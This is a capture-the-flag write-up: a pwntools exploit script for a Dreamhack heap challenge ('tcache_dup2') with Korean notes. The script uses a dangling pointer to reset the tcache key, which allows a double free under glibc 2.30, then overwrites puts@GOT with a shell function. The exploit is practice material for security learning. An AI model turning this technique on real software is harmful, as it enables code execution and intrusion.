from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
context.log_level="debug"
p = remote('host3.dreamhack.games',24532)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')
def create(size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
def modify(idx, size, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b': ', str(idx).encode())
get_shell = e.symbols['get_shell']
puts_got = e.got['puts']
create(16, b'AAAAAAAA')
create(16, b'AAAAAAAA')
delete(0)
delete(1)
modify(1, 16, b'BBBBBBBB'+b'\x00')
delete(1)
create(16, p64(puts_got))
create(16, b'CCCCCCCC')
create(16, p64(get_shell))
p.interactive()
tcache_dup 문제와 풀이는 비슷하다. 다만 이번 문제에서는 DFB를 탐지하기 때문에 key값을 조정해주어야 한다. 다행히 modify가 있어서 dangling pointer를 이용해 key를 수정해 주었다. 이로써 DFB가 가능하고 puts_got에 get_shell 주소를 넣었다.
하지만 이 문제의 Glibc 2.30이다. 이 점이 조금 찝찝했는데 아니나 다를까 처음 작성한 익스플로잇 코드에서는 청크를 할당하고 시작했는데, 익스플로잇이 되질 않은것이다. 원인을 찾아보니 tc_idx 때문이라고 하는데, 이 이유를 여기서 찾았다.
printf_got, free_got 가 아닌 puts_got를 덮어쓴 이유는 여기에 있다. 요약해서 말하자면 GOT 주소를 청크로 할당하면서, get_shell함수로 데이터 영역을 덮어쓰면(16바이트), 8바이트 뒤에 있는 다른 함수의 GOT가 Null이 되기 떄문이다. 따라서 GOT가 변경되도 내가 원하는 실행흐름과 관계없는 함수를 찾아야한다.